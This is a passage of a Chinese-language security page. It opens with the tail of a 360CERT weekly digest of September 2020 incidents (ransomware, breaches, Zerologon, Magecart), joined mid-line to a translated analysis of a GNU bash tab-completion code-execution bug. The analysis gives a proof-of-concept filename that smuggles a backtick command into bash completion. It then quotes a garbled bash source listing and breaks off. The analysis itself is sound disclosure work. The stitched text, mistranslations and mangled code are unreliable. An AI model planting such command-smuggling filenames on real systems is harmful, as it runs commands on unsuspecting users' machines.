发现有证据表明，此次行动的幕后袭击者是从2018年开始行动的。它最初是一个以Windows系统为目标的具有自我传播能力的矿工，现在已经发展成为一个多平台、多架构的恶意软件，目标是Linux和物联网设备。
**详情**
[Rudeminer, Blacksquid and Lucifer Walk Into A
Bar](https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/)
### 勒索软件切断加州小学生的在线学习
日期: 2020年09月18日
等级: 高
来源: THREATPOST
标签: California, NCSC, School, Ransomware, Online Learning
针对学校的勒索软件攻击仍在继续，据美国官员称，最近一次是针对加州一个学区的攻击，导致该学区关闭了6000名小学生的远程学习。纽霍尔学校负责人杰夫·佩尔泽尔告诉《洛杉矶时报》，这次针对瓦伦西亚纽霍尔校区的网络攻击影响了10所不同年级学校的所有远程学习。他说，这些网络攻击持续了两天，不久之后，这个地区已经成为恶意软件的受害者。
**详情**
[California Elementary Kids Kicked Off Online Learning by
Ransomware](https://threatpost.com/california-elementary-kids-online-learning-ransomware/159319/)
### Maze勒索软件现在通过虚拟机加密以逃避检测
日期: 2020年09月18日
等级: 高
作者: Lawrence Abrams
标签: Maze, Ragnar Locker, VirtualBox, Windows XP, Encrypt
Maze勒索软件运营商采用了以前使用的一种策略：从虚拟机中加密计算机。在为一位客户执行事件响应时，Sophos发现Maze曾两次尝试部署勒索软件，但被Sophos的InterceptX功能阻止。在第三次攻击中，Maze部署了一个MSI文件，该文件在服务器上安装了virtualboxvm软件以及一个定制的windows7虚拟机。一旦虚拟机启动，就像以前的RagnarLocker攻击一样，一个名为startup的批处理文件_蝙蝠将执行批处理文件，为机器准备Maze可执行文件。然后关闭机器，一旦重新启动，将启动vrun.exe加密主机的文件。由于虚拟机正在主机装载的驱动器上执行加密，安全软件无法检测到该行为并停止它。
**详情**
[Maze ransomware now encrypts via virtual machines to evade
detection](https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/)
### Rampant Kitten – 伊朗的间谍活动
日期: 2020年09月18日
等级: 高
作者: check_point
标签: Iranian, Trojan, Rampant Kitten, Espionage, 2FA
安全公司CheckPoint说，他们破获了一个伊朗黑客组织，该组织开发了专门的安卓恶意软件，能够拦截和窃取通过短信发送的双因素认证（2FA）代码。该恶意软件是一个黑客组织开发的黑客工具库的一部分，黑客组织称其为RampantKitten。CheckPoint说，该组织已经活跃了至少六年，一直在对伊朗少数民族、反政府组织和抵抗运动进行持续的监视行动。
**详情**
[Rampant Kitten – An Iranian Espionage
Campaign](https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/#indicators_of_compromise)
### LockBit勒索软件启动数据泄露网站双重勒索受害者
日期: 2020年09月16日
等级: 中
作者: Lawrence Abrams
标签: LockBit, Ransomware, Data Leak, Extort, Stealing
勒索软件集团 `LockBit` 推出了一个新的数据泄露网站，作为他们的双重勒索策略的一部分，以恐吓受害者支付赎金。
自2019年底以来，勒索软件团伙采取了双重勒索策略，即在加密网络上的电脑之前，先窃取未加密的文件。
然后，勒索软件团伙利用窃取的文件和数据泄露网站上公开这些文件的威胁，迫使受害者支付赎金。
**详情**
[LockBit ransomware launches data leak site to double-extort
victims](https://www.bleepingcomputer.com/news/security/lockbit-ransomware-launches-data-leak-site-to-double-extort-victims/)
### 美国激光开发商IPG Photonics遭勒索软件袭击
日期: 2020年09月18日
等级: 中
作者: Lawrence Abrams
标签: IPG Photonics, Ransomware, Attack, Konica Minolta
IPGPhotonics是一家美国领先的光纤激光切割、焊接、医疗和激光武器开发商，该公司遭到勒索软件攻击，导致其运营中断。IPGPhotonics总部位于牛津，位于马萨诸塞州，在全球拥有超过4000名员工，2019年收入达13亿美元。该公司的激光被用作美国海军“庞塞号”上安装的激光武器系统（LaWS）的一部分。2020年9月14日，一位知情人士联系了
`BleepingComputer` ，他告诉 `BleepingComputer`
，勒索软件的攻击扰乱了它的运作。由于这次网络的攻击，IPG的网络连接受到影响。随着这些系统的关闭， `BleepingComputer`
也被告知制造零件和运输已经不可用。
**详情**
[Leading U.S. laser developer IPG Photonics hit with
ransomware](https://www.bleepingcomputer.com/news/security/leading-us-laser-developer-ipg-photonics-hit-with-ransomware/)
### **相关安全建议**
1. 在网络边界部署安全设备，如防火墙、IDS、邮件网关等
2. 网段之间进行隔离，避免造成大规模感染
3. 条件允许的情况下，设置主机访问白名单
4. 减少外网资源和不相关的业务，降低被攻击的风险
5. 如果不慎勒索中招，务必及时隔离受害主机、封禁外链ip域名并及时联系应急人员处理
6. 注重内部员工安全培训
7. 及时对系统及各个服务组件进行版本升级和补丁更新
## 0x03 数据安全
### 多个热门购物网站数据泄露
日期: 2020年09月16日
等级: 高
来源: HACKREAD
标签: German, Windeln.de, Elasticsearch, Shopping, Data Breach
几天前有报道称，一个配置错误的Elasticsearch数据库暴露了来自70个约会和电子商务网站的882gb数据。现在，在最新的数据库混乱中，超过50万人的个人数据在网上被曝光。安全检测部门的IT安全研究人员团队发现了一个属于德国在线购物网站–
`Windeln.de`
的数据库。在这个案例中，该商店的生产服务器数据库暴露了6.4万亿字节的数据，其中包含60亿条记录，泄露了超过70万名客户的个人信息。
目前 `Elasticsearch` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[Popular shopping site leaks miners’ data in 6TB of database mess
up](https://www.hackread.com/shopping-site-leaks-miners-data-database-mess-up/)
### 2400万南非人的个人资料被捆绑到文件共享网站上
日期: 2020年09月14日
等级: 高
作者: Gareth Corfield
标签: Experian, Information, Data Breach, South Africa, Clearweb
据报道，Experian错误地将2400万南非人的个人数据卖给了一个声称“假装”代表“合法客户”的人，这些数据不仅在暗网中传播，还在 `clearweb`
文件共享网站上传播。这个国家大约有5600万人口。据南非《泰晤士报》报道，手机号码、政府发放的个人身份证号码、家庭住址、银行和工作资料以及电子邮件地址都包含在
`WeSendIt` 的文件中。
**详情**
[Personal data from Experian on 40% of South Africa’s population has been
bundled onto a file-sharing
website](https://www.theregister.com/2020/09/14/south_africa_experian_data_breach_wesendit/)
### 美国退伍军人事务部数据泄露
日期: 2020年09月15日
等级: 高
作者: Lawrence Abrams
标签: U.S. Department of Veterans Affairs, Data Breach, Google Drive, Steal, Attack
美国退伍军人事务部(VA)遭遇数据泄露事件，导致超过46,000名退伍军人的个人信息曝光。退伍军人事务部的成立是为了确保美国退伍军人得到他们应得的医疗服务、福利和护理。谷歌硬盘出现故障，用户在2020年9月14日发布的一份数据泄露通知中称，黑客侵入了他们的系统，盗取了为退伍军人提供治疗的医疗服务提供商的专用款项。
**详情**
[U.S. Dept of Veterans Affairs data breach affects 46,000
veterans](https://www.bleepingcomputer.com/news/security/us-dept-of-veterans-affairs-data-breach-affects-46-000-veterans/)
### 新泽西大学医院遭SunCrypt勒索软件袭击，数据泄露
日期: 2020年09月16日
等级: 高
作者: Ax Sharma
标签: University Hospital New Jersey, SunCrypt, Ransomware, Trojan, Data Leaked
新泽西大学医院（UHNJ）遭遇了一场大规模的48000份文件数据泄露事件，勒索软件泄露了他们被盗的数据。大学医院成立于1994年，是新泽西州的一家公立教学医院，为居民提供医疗服务。SunCrypt勒索软件泄露了据称在9月份的勒索软件攻击中从UHNJ窃取的数据。SunCrypt是勒索软件运营商，于2019年10月开始活动，但不是很活跃。在过去的几个月里，自从发布了一个专门的泄漏站点后，他们变得更加活跃。
**详情**
[University Hospital New Jersey hit by SunCrypt ransomware, data
leaked](https://www.bleepingcomputer.com/news/security/university-hospital-new-jersey-hit-by-suncrypt-ransomware-data-leaked/)
### Staples公司披露数据泄露事件
日期: 2020年09月14日
等级: 中
作者: Ionut Ilascu
标签: Staples, Data Breach, Unauthorization, Information
大型办公零售公司 `Stables`
通知其部分客户，他们的订单相关数据在未经授权的情况下被访问。目前尚不清楚具体细节。该公司没有公开披露这一事件，只是通过电子邮件单独提醒了受影响的客户。重要的是要注意，
`Staples` 的主要业务是通过零售渠道以及企业对企业的约定，来销售办公用品和相关产品。
**详情**
[Staples discloses data breach exposing customer
info](https://www.bleepingcomputer.com/news/security/staples-discloses-data-breach-exposing-customer-info/)
### 新加坡3000多个人资料在网上泄露
日期: 2020年09月14日
等级: 中
作者: David Sun
标签: Bitcoin, Leaked, Singapore, Group-IB, Personal Details
新加坡3499人的个人记录在网上被泄露，他们正成为比特币诈骗的目标。这些记录包括姓名、电话号码和电子邮件地址，是新加坡网络安全公司 `groupib`
最近发现的。目前还不清楚泄密的来源和细节是如何被盗的。这些泄露的细节被恶意攻击者利用，他们伪装成来自知名媒体的短信，并带有诱人的标题和链接。
**详情**
[Personal details of more than 3,000 people in Singapore leaked
online](https://www.tnp.sg/news/singapore/personal-details-more-3000-people-singapore-leaked-online)
### **相关安全建议**
1. 强烈建议数据库等服务放置在外网无法访问的位置，若必须放在公网，务必实施严格的访问控制措施
2. 对于托管的云服务器(VPS)或者云数据库，务必做好防火墙策略以及身份认证等相关设置
3. 条件允许的情况下，设置主机访问白名单
4. 做好资产收集整理工作，关闭不必要且有风险的外网端口和服务，及时发现外网问题
5. 及时备份数据并确保数据安全
6. 明确每个服务功能的角色访问权限
7. 建议加大口令强度，对内部计算机、网络服务、个人账号都使用强口令
## 0x04 网络攻击
### 又一家加密货币交易所遭到黑客攻击，被盗数百万美元
日期: 2020年09月14日
等级: 高
作者: Iain Thomson
标签: Eterbase, Stolen, Cryptocurrency, Hacked, Attack, Dosh
加密货币交换机构 `Eterbase` 9月8日左右承认，黑客侵入了其电脑，偷走了其他人的货币，据称价值540万美元。结果，数字 `dosh`
交易系统被叫停了，尽管交易系统会在某个时候重新开放（交易系统声称有足够的资金来克服此次黑客攻击）。工作人员和执法部门正在进行调查本次事件。
**详情**
[Another month, another cryptocurrency exchange hacked and ‘millions of
dollars’ stolen by
miscreants](https://www.theregister.com/2020/09/14/in_brief_security/)
### Zerologon攻击能让黑客完全攻破一个Windows域
日期: 2020年09月14日
等级: 高
作者: Pierluigi Paganini
标签: Netlogon, Vulnerability, Windows, Domain, CVE-2020-1472, Zerologon, Attack
`Zerologon` 攻击允许威胁者通过利用2020年8月补丁日发布的漏洞 `CVE-2020-1472` 来接管企业网络。企业 `Windows`
服务器的管理员必须尽快安装2020年8月的补丁，以保护他们的系统免受利用 `CVE-2020-1472` 的 `Zerologon`
攻击。CVE-2020-1472缺陷是驻留在Netlogon中的特权提升。Netlogon服务是Windows客户端身份验证体系结构中使用的一种身份验证机制，用于验证登录请求，并对域控制器进行注册、身份验证和定位。
**详情**
[Zerologon attack lets hackers to completely compromise a Windows
domain](https://www.secura.com/pathtoimg.php?id=2055)
### 美国CISA报告分享了伊朗黑客使用的WebShell细节
日期: 2020年09月16日
等级: 高
来源: US-Cert
标签: CISA, MAR, Iranian, WebShell, Attack, Iranian
美国网络安全和基础设施安全局(CISA)发布了一份恶意软件分析报告(MAR)，其中包括伊朗黑客使用webshell的技术细节。
webshell是一段代码，通常是用典型的web开发编程语言(例如ASP、PHP、JSP)编写的，攻击者将其植入web服务器以获得远程访问和代码执行。
根据CISA的报告，来自一个不知名的APT组织的伊朗黑客正在使用几个已知的webshell，攻击美国各地的IT、政府、医疗、金融和保险机构。威胁者使用的恶意软件包括
`ChunkyTuna` 、 `Tiny` 和 `ChinaChopperwebshell` 。
**详情**
[US CISA report shares details on web shells used by Iranian
hackers](https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a)
### Magento商店遭遇2015年以来最大规模的自动化黑客攻击
日期: 2020年09月14日
等级: 中
作者: Lawrence Abrams
标签: Magento, Attack, Vulnerability, JavaScript, MageCart
在针对 `Magento` 网站的规模最大的自动化黑客行动中，攻击者9月12日左右侵入了近2000家在线商店，窃取信用卡。 `AdobeMagento`
是一个流行的电子商务平台，它允许网站快速创建一个在线商店来销售其产品并接受信用卡。正因为如此，Magento经常成为黑客的攻击目标，他们会安装
`JavaScript` 脚本来窃取客户的信用卡。这类攻击被称为 `MageCart` ，已经成为 `Magento` 面临的一个大问题， `VISA`
因此发布了一份建议，敦促商家将电子商务网站迁移到更安全的 `magecento2.x` 上
**详情**
[Magento stores hit by largest automated hacking attack since
2015](https://www.bleepingcomputer.com/news/security/magento-stores-hit-by-largest-automated-hacking-attack-since-2015/)
### 9/11周年纪念日的虚拟会议上出现不雅照片
日期: 2020年09月14日
等级: 中
作者: Kieren McCarthy
标签: Zoom, Court Hearing , Take Over, Porn, Swastikas, Sharing Screen, America
一场关于美国选举安全问题的法庭听证会在其自身的安全努力中失败了，当时法庭上充斥着色情、纳粹十字记号和世贸中心袭击的图片。2020年9月11日在亚特兰大联邦地区法院举行的公开听证会上，大约有100人参加了Zoom电话会议，后来被一个名叫奥萨马的参与者接管，他分享了自己的屏幕，展示了带有攻击性的图片和音乐。这些图片尤其令人反感，因为听证会本身是在2001年9月11日恐怖袭击的周年纪念日举行的。法庭结束了Zoom会议，并在一小时后重新启动，采取了额外的安全措施，包括一个虚拟等候室。
**详情**
[Court hearing on election security is zoombombed on 9/11 anniversary with
porn, swastikas, pics of WTC
attacks](https://www.theregister.com/2020/09/14/court_hearing_on_election_security/)
### 俄罗斯黑客以5000美元的价格出售零日漏洞
日期: 2020年09月15日
等级: 中
作者: Katyanna Quach
标签: Magento, Bank Card, Injection, Hijacked, Sansec
数千家使用 `Magento1` 建立的电子商务商店已被恶意代码毒害，当顾客输入详细信息在网上订购商品时，这些代码窃取了他们的银行卡信息。
据安全行业估计，攻击者迄今已窃取了“数万名客户”的个人数据。这些入侵可以追溯到一个名为“z3r0day”的俄语黑客在一个阴暗的在线论坛上出售的
`Magneto1` 零日漏洞。 只要支付5000美元，z3r0day就会向你展示一段视频，介绍如何利用网络软件的一个安全漏洞，将数字 `skimming`
代码注入电子商务网站的文件中，这样当客户进入被劫持网站的支付页面时，代码就会运行。不需要身份验证。黑客承诺不会向超过10个人出售该漏洞，以保证其机密性和价值.
**详情**
[Russian hacker selling how-to vid on exploiting unsupported Magento
installations to skim credit card details for
$5,000](https://www.theregister.com/2020/09/15/magento_1_exploit_sold_online/)
### 针对教育和学术领域的DDoS攻击激增
日期: 2020年09月15日
等级: 中
作者: Ionut Ilascu
标签: Attack, Schools, Educational, DDoS, U.S
随着世界各地的教育机构转向在线学习，网络威胁的破坏比以往任何时候都更加严重。恶意软件、漏洞利用、分布式拒绝服务(DDoS)、钓鱼攻击都在攻击这个领域，在过去两个月中频率不断上升。网络安全公司CheckPoint的数据显示，攻击者在针对美国、欧洲和亚洲的教育和研究部门时采用了不同的方法和战术。最终目标似乎也因地区而异。CheckPoint指出，大多数攻击都是针对美国的机构，在7月和8月，学术部门平均每周增加30％。与五月和六月相比，这意味着从468跃升至608。
**详情**
[Surge in DDoS attacks targeting education and academic
sector](https://www.bleepingcomputer.com/news/security/surge-in-ddos-attacks-targeting-education-and-academic-sector/)
### 美国指控两名俄罗斯人通过加密货币钓鱼网站窃取1680万美元
日期: 2020年09月16日
等级: 中
作者: Catalin Cimpanu
标签: Russian, Phishing, Poloniex, Binance, Gemini
2020年9月16日，美国司法部指控两名俄罗斯公民策划了针对三家加密货币交易所用户的多年钓鱼行动。这两名嫌疑人被指控为Poloniex、Binance和Gemini加密货币交易所创建网站克隆，在这些虚假网站上引诱用户，并收集他们的账户凭证。这些钓鱼操作大约在2017年6月开始。美国官员说，这对俄罗斯组合——分别是沃罗涅日（Voronezh）和莫斯科居民德米特里·卡拉萨维迪（DmitriKarasavidi）组成，他们利用被盗的凭证进入受害者账户，窃取他们的比特币（BTC）和以太币（ETH）加密资产。
**详情**
[US charges two Russians for stealing $16.8m via cryptocurrency phishing
sites](https://www.zdnet.com/article/us-charges-two-russians-for-stealing-16-8m-via-cryptocurrency-phishing-sites/)
### 垃圾邮件发送者开始使用新技术绕过垃圾邮件过滤器
日期: 2020年09月17日
等级: 中
作者: Ionut Ilascu
标签: Bypass, Spammers, Pill Scam, Redirects
一个药丸骗局的幕后操作者正在尝试一种新技术，在垃圾邮件中押注非传统的URL表示方式，以使它们不被电子邮件保护系统和URL拦截列表发现。在安全研究人员观察到的一场大规模运动中，运营商付出了一些努力，以确保推广可疑药品的信息更广泛地传播。垃圾邮件发送者将令人信服的信息与用十六进制数字系统编码的IP地址结合在一起，经过几次重定向后，就会出现假冒的制药网站。此次事件没有涉及恶意软件。行动的目的是说服接收者购买假药，糖丸，蛇油产品以及质量不合格的物品。
**详情**
[Drug spammers start using new technique to bypass spam
filters](https://www.bleepingcomputer.com/news/security/drug-spammers-start-using-new-technique-to-bypass-spam-filters/)
### Tutanota加密电子邮件服务遭受DDoS网络攻击
日期: 2020年09月19日
等级: 中
作者: Ax Sharma
标签: Tutanota, DDOS, Attack, Email service, Downtime
Tutanota加密电子邮件服务2020年9月14日左右遭受了一系列DDoS攻击，首先是针对Tutanota网站及其DNS提供者。这已导致数百万Tutanota用户停机数小时。由于不同的DNS服务器继续为该域缓存错误的条目，这一事实进一步加剧了服务的宕机。Tutanota是德国端到端加密电子邮件服务提供商，拥有超过200万用户。这家公司经常与ProtonMail等受欢迎的加密电子邮件提供商并驾齐驱。
**详情**
[Tutanota encrypted email service suffers DDoS
cyberattacks](https://www.bleepingcomputer.com/news/security/tutanota-encrypted-email-service-suffers-ddos-cyberattacks/)
### **相关安全建议**
1. 积极开展外网渗透测试工作，提前发现系统问题
2. 域名解析使用CDN
3. 及时对系统及各个服务组件进行版本升级和补丁更新
4. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
5. 受到网络攻击之后，积极进行攻击痕迹、遗留文件信息等证据收集
6. 减少外网资源和不相关的业务，降低被攻击的风险
## 0x05 其它事件
### Apple漏洞允许在iPhone、iPad、iPod上执行代码
日期: 2020年09月18日
等级: 高
来源: THREATPOST
标签: Apple, iPhone, iPod, Code Execution, Privilege Escalation, Vulnerability
苹果更新了iOS和iPadOS操作系统，解决了iPhone、iPad和iPod设备中的一系列漏洞。其中最重要的漏洞之一是特权升级漏洞，影响苹果iOS和iPadOS（最高13.7）。该漏洞被追踪为CVE-2020-9992，如果目标被诱骗打开一个精心编制的文件，则可能会利用该漏洞进行攻击。Siri漏洞允许一个可以实际访问iPhone的人从锁屏上查看通知内容。另一个漏洞与恶意构建的名为UniversalSceneDescription（USD）的3DPixar文件有关，该文件允许对手在特定型号的iOS设备上执行任意代码。
**详情**
[Apple Bug Allows Code Execution on iPhone, iPad,
iPod](https://threatpost.com/apple-bug-code-execution-iphone/159332/)
### 病人监控软件的安全漏洞
日期: 2020年09月14日
等级: 中
作者: Marianne Kolbasuk McGee
标签: Philips, Vulnerability, Software, Unauthorized
联邦当局和医疗设备制造商飞利浦已经发布了有关公司某些患者监护软件中安全漏洞的安全警报。
在2020年9月10日发布的警报中，飞利浦和国土安全部网络安全与基础设施安全局指出，在某些版本的飞利浦 `IntelliVue`
患者监护仪系统，患者信息中心 `iX` 或 `PIC` 中发现了几个中危安全漏洞。
成功利用这些漏洞可能会导致未经授权的访问，访问信息和患者数据的监视和收集中断。但是，要成功利用这些漏洞，攻击者将需要获得对监视站和患者监护仪的物理访问或对医疗设备网络的访问。
**详情**
[Patient Monitoring Software Vulnerabilities
Identified](https://www.databreachtoday.com/patient-monitoring-software-vulnerabilities-identified-a-14991)
### 云服务器上的绝大多数网络攻击都是为了挖掘加密货币
日期: 2020年09月14日
等级: 中
作者: Catalin Cimpanu
标签: Cloud, Malware, Cryptocurrency, DDoS, Images
一项对云蜜罐服务器一年的网络攻击记录的分析显示，绝大多数黑客的目标是云基础设施，目的是部署加密挖掘恶意软件，而不是侵入敏感的企业信息，建立DDoS基础设施，或其他形式的网络犯罪。根据Aqua安全公司的《2020年云原生威胁报告》，该公司在2019年6月至2020年7月期间跟踪并分析了16371次攻击，对云系统的攻击在年初爆发，该公司记录到的攻击比前一年增长250%。在这些攻击中，黑客试图获得对蜜罐服务器的控制，然后下载并部署恶意容器镜像。
**详情**
[Vast majority of cyber-attacks on cloud servers aim to mine
cryptocurrency](https://www.zdnet.com/article/vast-majority-of-cyber-attacks-on-cloud-servers-aim-to-mine-cryptocurrency/)
### 可以滥用Windows 10 “Finger”命令来下载或窃取文件
日期: 2020年09月15日
等级: 中
作者: Ionut Ilascu
标签: Windows, Finger, Security, LoLBins, Remote, Command
最近有报道称，Windows中可以下载或运行恶意代码的本机可执行文件不断增加。这些被称为“离地的二进制文件”(LoLBins)，可以帮助攻击者绕过安全控制来获取恶意软件而不触发系统上的安全警报。
最新添加的是finger.exe，这是Windows附带的命令，用于在运行Finger服务或守护程序的远程计算机上检索有关用户的信息。通过名称/手指网络通信协议进行通信。
安全研究员JohnPage发现，微软WindowsTCPIPFinger命令还可以作为文件下载器和临时的命令和控制(C3)服务器，用于发送命令和泄露数据。
**详情**
[Windows 10 ‘Finger’ command can be abused to download or steal
files](https://www.bleepingcomputer.com/news/security/windows-10-finger-command-can-be-abused-to-download-or-steal-files/)
### MFA绕过漏洞打开了微软365进行攻击
日期: 2020年09月15日
等级: 中
作者: Elizabeth Montalbano
标签: Microsoft, Cloud, Proofpoint, WS-Trust, Microsoft 365, Authentication
据 `Proofpoint` 的研究人员称，微软基于云计算的办公生产力平台微软365使用的多因素认证系统的漏洞，为黑客打开了绕过安全系统访问云应用的大门。
在支持 `WS-Trust` 并与 `Microsoft365` (以前称为Office365)一起使用的云环境中， `WS-Trust`
规范的实现中存在缺陷。 `WS-Trust` 是一种 `OASIS` 标准，为 `WS-Security`
提供扩展，用于更新和验证安全令牌、代理安全消息交换体系结构中的信任关系。研究人员说，问题在于WS-Trust本质上是一种不安全的协议，微软身份提供商(IDPs)实现的规范有各种缺陷。
**详情**
[MFA Bypass Bugs Opened Microsoft 365 to Attack](https://threatpost.com/flaws-in-microsoft-365s-mfa-access-cloud-apps/159240/)
### 英国NCSC发布漏洞公开工具包
日期: 2020年09月15日
等级: 中
作者: Pierluigi Paganini
标签: Vulnerability, NCSC, Guideline, Toolkit, Bug reporting
英国国家网络安全中心( `NCSC`
)发布了一份名为漏洞披露工具包的指南，指导如何实施漏洞披露过程。漏洞披露过程可以帮助组织快速处理专家和bug搜寻者报告的漏洞，以降低被入侵的风险。接收漏洞报告可降低缺陷被对手发现和在野外攻击中被利用的风险，并提高组织产品或服务的安全性。
**详情**
[UK NCSC releases the Vulnerability Disclosure
Toolkit](https://securityaffairs.co/wordpress/108308/laws-and-regulations/vulnerability-disclosure-toolkit.html)
### IBM Spectrum Protect Plus Security对RCE开放
日期: 2020年09月15日
等级: 中
作者: Lindsey O'Donnell
标签: IBM, Vulnerabilities, RCE, CVSS, Spectrum, Big Blue, Spectrum Protect Plus
IBM已经发布了针对“SpectrumProtectPlus”漏洞的补丁。“SpectrumProtectPlus”是BigBlue在其Spectrum数据存储软件品牌旗下的安全工具。远程攻击者可以利用这些漏洞在易受攻击的系统上执行代码。根据IBMSpectrumProtectPlus的管理控制台中存在的最严重的缺陷（CVE-2020-4703），它可能允许经过身份验证的攻击者上传任意文件，然后可以将其用于在易受攻击的服务器上执行任意代码。Tenable的研究人员在2020年9月14日的咨询中发现了这些缺陷。该漏洞在CVSS上评分为8。
**详情**
[IBM Spectrum Protect Plus Security Open to RCE](https://threatpost.com/ibm-flaws-spectrum-protect-plus/159268/)
### 地下论坛泄露Cerberus银行木马源代码
日期: 2020年09月16日
等级: 中
作者: Pierluigi Paganini
标签: Trojan, Cerberus, Source Code, Leaked, Underground forums, Banking
在一次拍卖失败后， `Cerberus` 银行木马的作者在地下黑客论坛上发布了恶意软件的源代码。7月，臭名昭著的 `CerberusAndroid`
银行木马的作者以5万美元起的价格拍卖了他们的项目，但买家本可以以10万美元完成交易。整个项目包括组件的源代码(恶意的APK、管理面板和C2代码)、安装指南、用于安装的脚本集、具有活动许可证的客户列表，以及客户和潜在买家的联系方式。
**详情**
[Source code of Cerberus banking Trojan leaked on underground
forums](https://securityaffairs.co/wordpress/108373/cyber-crime/cerberus-source-code-leaked.html)
### Drupal解决了XSS和信息披露缺陷
日期: 2020年09月18日
等级: 中
作者: Pierluigi Paganini
标签: XSS, CMS, Drupal, Information Disclosure
Drupal维护人员解决了流行内容管理系统（CMS）中的几个信息泄漏和跨站点脚本（XSS）漏洞。最严重的漏洞为CVE-2020-13668，是影响Drupal8和9的关键性XSS问题。另外有几个中危漏洞，第一个是信息披露缺陷，为CVE-2020-13670XSS缺陷，影响CMS的版本8和9。第二个中危的XSS漏洞是一个访问旁路缺陷，跟踪CVE-2020-13667，影响Drupal8和9。最后一个漏洞是一个跨站点脚本缺陷，被跟踪为CVE-2020-13669，它影响Drupal7和8。
目前 `Drupal` 在全球均有分布，具体分布如下图，数据来自于 `360 QUAKE`
**详情**
[Drupal addressed XSS and information disclosure
flaws](https://securityaffairs.co/wordpress/108411/hacking/drupal-xss-information-disclosure-flaws.html)
### Firefox 漏洞可以让你通过WiFi劫持附近的移动浏览器
日期: 2020年09月18日
等级: 中
作者: Catalin Cimpanu
标签: Mozilla, Firefox, Android, WiFi, SSDP
`Mozilla` 已经修复了一个漏洞，该漏洞可能会在同一个WiFi网络上劫持所有 `Android`
浏览器的火狐浏览器，迫使用户访问恶意网站，比如钓鱼网页。 这个漏洞是由在 `GitLab` 工作的澳大利亚安全研究员 `ChrisMoberly` 发现的。
实际的漏洞存在于 `FirefoxSSDP` 组件中。SSDP代表简单服务发现协议，是一种机制，通过它 `Firefox`
可以在同一网络上找到其他设备，以便共享或接收内容(例如，与Roku设备共享视串流)。
**详情**
[Firefox bug lets you hijack nearby mobile browsers via
WiFi](https://www.zdnet.com/article/firefox-bug-lets-you-hijack-nearby-mobile-browsers-via-wifi/)
### **相关安全建议**
1. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
2. 及时对系统及各个服务组件进行版本升级和补丁更新
3. 不轻信网络消息，不浏览不良网站、不随意打开邮件附件，不随意运行可执行程序
4. 严格做好http报文过滤
## 0x06 产品侧解决方案
### 360城市级网络安全监测服务
360安全大脑的QUAKE资产测绘平台通过资产测绘技术手段，对事件相关组件进行监测，请用户联系相关产品区域负责人或(quake#360.cn)获取对应产品。
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对网络攻击进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士
针对以上安全事件，360cert建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x07 时间线
**2020-09-21** 360CERT发布安全事件周报 | 社区文章 |
# 【漏洞分析】路径补全功能处GNU Bash代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：raw.githubusercontent.com
原文地址：<https://raw.githubusercontent.com/jheyens/bash_completion_vuln/master/2017-01-17.bash_completion_report.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**引言**
从版本4.4开始,GNU
bash在路径补全功能就存在两个bugs,这会触发一个代码执行漏洞。通过创建拥有特制名字的文件或目录可以触发这个漏洞。用户可以通过按Tab键使用GNU
bash的内置路径完成功能（如使用rm命令来删除它）,这将触发漏洞但不执行命令本身。在2015五月, devel-branch介绍了该漏洞。
**描述**
如果创建一个有双引号（”）的文件,这个漏洞就会发生的,这个双引号遵循GNU bash的内置命令替换功能( ‘<command>‘ 或
$(<command>))。双引号不需要闭合。如果用户试图使用自动补全功能，命令就会被执行（如果它不包含一个斜杠（/）字符）：
[ heyens@beowulf ] $ touch ’” ‘ touch HereBeDragons ‘ ’
[ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’
[ heyens@beowulf ] $ rm ”‘ touch HereBeDragons‘ ˆC
[ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:04 HereBeDragons −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’
**原因**
在已提交的devel-branc :74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [ 1
]上介绍了这个漏洞,并插入到了4.4的稳定版中。下面的代码引用于此提交哈希。
GNU bash中有两个函数会导致这个漏洞。为了更好的说明，我们假设攻击者在磁盘上保存了一个名为”’foo‘的文件。
**dirname的去双引号**
在bash的filename_stat_hook函数中,之前检查文件是否存在的代码是内联的，在提交的版本中, 使用了directory
exists函数来代替了这个检查（bashline.c也包含这个检查）：
3121 else i f ( t = mbschr ( local dirname , ’ ‘ ’ ) ) /∗ XXX ∗/
3122 should expand dirname = ’ ‘ ’ ;
3123
3124 if ( should expand dirname && directory exists ( local dirname ) )
3125 should expand dirname = 0;
3126
3127 if ( should expand dirname )
3128 {
3129 new dirname = savestring ( local dirname ) ;
3130 wl = expand prompt string ( new dirname , 0 , WNOCOMSUB) ; /∗ does the right thing ∗/
跟随这个调用 ,我们发现dirname参数被去引号了.然后,当一个文件名被补齐时,引号早已被移除了.
3092 /∗ First , dequote the directory name ∗/
3093 new dirname = bash dequote filename ( dirname , rl completion quote character ) ;
3094 dirlen = STRLEN ( new dirname ) ;
3095 i f ( new dirname [ dirlen − 1] == ’/ ’ )
3096 new dirname [ dirlen − 1] = ’ ’ ;
3097 #i f defined (HAVE LSTAT)
3098 r = lstat ( new dirname , &sb ) == 0;
3099 #else 3100 r = stat ( new dirname , &sb ) == 0;
3101 #endif
3102 free ( new dirname ) ;
3103 return ( r ) ;
